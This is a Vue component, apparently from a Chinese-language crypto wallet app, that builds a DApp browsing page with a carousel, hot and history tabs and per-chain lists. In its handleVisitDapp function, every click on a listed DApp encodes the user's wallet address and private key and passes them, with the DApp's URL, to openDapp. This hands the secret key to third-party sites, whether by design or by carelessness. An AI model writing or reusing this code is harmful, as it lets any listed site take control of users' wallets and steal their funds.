wallet_app/src/views/dapp/index.vue

<template>
    <div class="container">
        <div class="head-bg" />
        <div class="head-nav-bar">探索</div>

        <div class="search-box">
            <svg-icon class="search-icon" name="search" />
            <van-field v-model="searchValue" placeholder="输入DApp名称或网址" />
        </div>
         
        <van-swipe class="swipe-box" :autoplay="3000" lazy-render>
            <van-swipe-item v-for="item in slidesList" :key="item.id">
                <div class="swipe-item">
                    <van-image class="swipe-image" :src="item.pic" />
                </div>
            </van-swipe-item>

            <template #indicator="{ active, total }">
                <div class="custom-indicator">
                    <div
                        v-for="item in total"
                        :key="item"
                        class="custom-indicator-item"
                        :class="{ active: item === active + 1 }"
                    />
                </div>
            </template>
        </van-swipe>

        <van-tabs class="tabs-wrapper-card" type="card" @change="onTabsWrapperCard">
            <van-tab
                v-for="(item, index) in tabsAppConfig"
                :title="item.title"
                :key="index"
            >
                <div class="tabs-content-body">
                    <div
                        v-for="cItem in item.children"
                        class="tabs-content-item" @click="handleVisitDapp(cItem)"
                    >
                        <van-image
                            class="tabs-content-item-icon"
                            round
                            :src="cItem.logo"
                        />
                        <span>{{ cItem.name }}</span>
                    </div>
                </div>
            </van-tab>
        </van-tabs>

        <van-skeleton v-if="chainTypes.length == 0" title :row="6" />
        <van-tabs v-else v-model="activeTab" @change="onTabChange" class="tabs-wrapper">
            <!-- 全部 -->
            <van-tab title="全部" name="ALL">
                <template #default>
                    <div class="tab-box">
                        <div v-for="group in groupedList" :key="group.chain">
                            <div class="tab-box-label">{{ group.chain }}</div>
                            <div
                                class="tab-box-list"
                                v-for="item in group.items"
                                :key="item.id" @click="handleVisitDapp(item)"
                            >
                                <van-image
                                    class="tab-box-list-img"
                                    :src="item.logo || defaultImg"
                                    round
                                />
                                <div class="tab-box-ri">
                                    <div class="tab-box-ri-title">
                                        <text>{{ item.name }}</text>
                                        <svg-icon v-if="item.is_hot == 1" class="hot-icon" name="hot" />
                                        <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
                                    </div>
                                    <div class="tab-box-ri-cont">
                                        {{
                                            item.desc ||
                                            item.chain + '链上的应用'
                                        }}
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </template>
            </van-tab>
            
            <!-- 单链标签 -->
            <van-tab 
                v-for="chain in chainTypes"
                :title="chain"
                :name="chain"
                :key="chain"
            >
                <template #default>
                    <div class="tab-box">
                        <div class="tab-box-label">{{ chain }}</div>
                        <div
                            class="tab-box-list"
                            v-for="item in filteredList"
                            :key="item.id" @click="handleVisitDapp(item)"
                        >
                            <van-image
                                class="tab-box-list-img"
                                :src="item.logo || defaultImg"
                                round
                            />
                            <div class="tab-box-ri">
                                <div class="tab-box-ri-title">
                                    <text>{{ item.name }}</text>
                                    <svg-icon v-if="item.is_hot == 1" class="hot-icon" name="hot" />
                                    <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
                                </div>
                                <div class="tab-box-ri-cont">
                                    {{ item.desc || item.chain + '链上的应用' }}
                                </div>
                            </div>
                        </div>
                    </div>
                </template>
            </van-tab>
        </van-tabs>
    </div>
</template>

<script setup>
import { dappSlides, dappList } from '@/api/path/dapp.api';
import { useSystemStore } from "@/stores/modules/systemStore";
import { useWalletStore } from '@/stores/modules/walletStore';
import { openDapp } from '@/composables/dAppView';
import { cryptoEncode } from '@/utils/crypto';

const systemStore = useSystemStore();
const walletStore = useWalletStore();

const slidesList = ref([]);
const tabsAppConfig = ref([
    {
        title: '热门推荐',
        children: []
    },
    {
        title: '浏览记录',
        children: []
    }
]);
const rawList = ref([]); // 全部后端返回的数据
const activeTab = ref('ALL'); // 当前选中的 tab：ALL 或 chain 名
const searchValue = ref('');

// 获取轮播图
const getdappSlides = async () => {
    const res = await dappSlides();
    slidesList.value = res.data.list;
};
// 热门推荐
const gethotlist = async () => {
    const res = await dappList({ is_hot: 1 });
    tabsAppConfig.value[0].children = res.data.list;
};

// 从数据中提取所有链类型（比如 ETH、BSC、TRON、ACC…）
const chainTypes = computed(() => {
  const types = rawList.value.map(item => item.chain);
  return [...new Set(types)];
});

// “全部”模式下：按链分组
const groupedList = computed(() => {
  const groups = {};
  for (const item of rawList.value) {
    if (!groups[item.chain]) {
      groups[item.chain] = [];
    }
    groups[item.chain].push(item);
  }
  const sortedChains = Object.keys(groups).sort((a, b) => {
    return a === 'ACC' ? -1 : b === 'ACC' ? 1 : 0;
  });

  return sortedChains.map(chain => ({
    chain,
    items: groups[chain]
  }));
});

// 单链模式
const filteredList = computed(() => {
  return rawList.value.filter(item => item.chain === activeTab.value);
});

// tab 切换时触发
const onTabChange = name => {
  activeTab.value = name;
};
// 获取列表
const getdappList = async () => {
  const res = await dappList();
  rawList.value = res.data.list;
};

// 热门推荐 浏览记录切换
const onTabsWrapperCard = (name) => {
    if(name == 1) loadHistoryList();
}

//保存数据
const handleVisitDapp = (item) => {
  const history = systemStore.DAPP_CACHE_KEY
  const filtered = history.filter(i => i.id !== item.id);
  filtered.unshift(item);
  const newHistory = filtered.slice(0, 6);
  systemStore.DAPP_CACHE_KEY = newHistory;

  const dapp = cryptoEncode(JSON.stringify({
    address: walletStore.address,
    privateKey: walletStore.privateKey, 
  }))
  openDapp(item.url, {dapp})
};
const loadHistoryList = () => {
  const history = systemStore.DAPP_CACHE_KEY
  tabsAppConfig.value[1].children = history;
};

onMounted(async () => {
    getdappSlides();
    gethotlist();
    getdappList();
    loadHistoryList(); // 加载浏览记录
});
</script>

<style lang="less" scoped>
.container {
    height: calc(100vh - 50px);
    overflow: auto;
}
.container::-webkit-scrollbar {
    width: 0;
}
.head-bg {
    .fn-head-bg();
}
.head-nav-bar {
    width: 100%;
    height: 26px;
    display: flex;
    justify-content: center;
    margin-top: 40px;
    font-weight: 500;
    font-size: 19px;
    color: #000000;
}

.search-box {
    flex: 1;
    display: flex;
    align-items: center;
    height: 33px;
    margin: 15px 17px 0 17px;
    border-radius: 23px 23px 23px 23px;
    background-color: #e3edfd;
    color: #95a9ed;
    .search-icon {
        height: 25px;
        width: 25px;
        margin-left: 6px;
    }
    :deep(.van-cell) {
        flex: 1;
        font-size: 15px;
        margin: 0 6px;
        padding: 0 !important;
        background: #e3edfd !important;
        line-height: 25px !important;
        width: initial !important;
        box-sizing: border-box;
    }
    :deep(.van-field__control) {
        color: #95a9ed !important;
    }
    :deep(.van-field__control::placeholder) {
        color: #95a9ed;
    }
}

.swipe-box {
    height: 180px;
    margin: 17px 17px 0 17px;
    border-radius: 17px 17px 17px 17px;
    .swipe-item {
        height: 160px;
        width: 100%;
        border-radius: 17px 17px 17px 17px;
        overflow: hidden;
    }
    .swipe-image {
        height: 160px;
        width: 100%;
    }
    .custom-indicator {
        position: absolute;
        right: 5px;
        bottom: 0px;
        width: 100%;
        display: flex;
        justify-content: center;
        align-items: flex-end;

        .active {
            background: @theme-color1;
        }
    }
    .custom-indicator-item {
        display: flex;
        width: 15px;
        height: 2px;
        background: @theme-color2;
        border-radius: 5px 5px 5px 5px;
        margin: 0 2px;
    }
}

.tabs-wrapper-card {
    height: 130px;
    margin-top: 40px; 
    :deep(.van-tabs__nav) {
        padding: 3px;
        background: #f2f2f2;
        border: 0px;
    }
    :deep(.van-tabs__nav--card) {
        border-radius: 32px 32px 32px 32px;
    }
    :deep(.van-tab--active) {
        border-radius: 32px 32px 32px 32px;
        color: @theme-color1 !important;
        background-color: @bg-color1;
    }
    :deep(.van-tab--card) {
        color: @font-color2;
        border-right: 0px;
    }
}

.tabs-content-body {
    display: flex;
    width: 100%;
    padding: 20px 0 0 17px;
    overflow: auto;
    box-sizing: border-box;
    .tabs-content-item {
        display: flex;
        flex-direction: column;
        align-items: center;
        width: 50px;
        min-width: 50px;
        font-size: 12px;
        margin-right: 26px;
        span {
            margin-top: 4px;
        }

        .tabs-content-item-icon {
            width: 42px;
            height: 42px;
        }
    }
}
.tabs-content-body::-webkit-scrollbar {
    height: 0;
}

.tabs-wrapper {
    padding: 0 12px;
    :deep(.van-tabs__nav) {
        background: transparent;
    }
    :deep(.van-tab) {
        border-bottom: 1px solid #d8d8d8;
    }
    :deep(.van-tabs__line) {
        height: 1px;
        width: 58px;
    }
    :deep(.van-tabs__wrap) {
        height: 30px;
    }
    :deep(.van-tab--active) {
        color: @theme-color1;
    }
    :deep(.van-tabs__line) {
        background: @theme-color1 !important;
    }
    .tab-box {
        padding: 16px 4px 0;
        .tab-box-label {
            font-family:
                PingFang SC,
                PingFang SC;
            font-weight: 500;
            font-size: 15px;
            color: #000000;
            margin-bottom: 12px;
        }
        .tab-box-list {
            display: flex;
            margin-bottom: 17px;
            align-items: center;
            .tab-box-list-img {
                width: 42px;
                height: 42px;
                margin-right: 9px;
                flex-shrink: 0;
            }
            .tab-box-ri {
                font-family:
                    PingFang SC,
                    PingFang SC;
                font-weight: 500;
                font-size: 15px;
                color: @font-color2;
                .hot-icon {
                    width: 15px;
                    height: 15px;
                    margin-right: 4px;
                    position: relative;
                    top: -3px;
                }
                .rm-icon {
                    width: 33px;
                    height: 15px;
                }
                .tab-box-ri-cont {
                    margin-top: 3px;
                    font-weight: 400;
                    font-size: 12px;
                    color: #8d8d8d;
                }
            }
        }
    }
}
</style>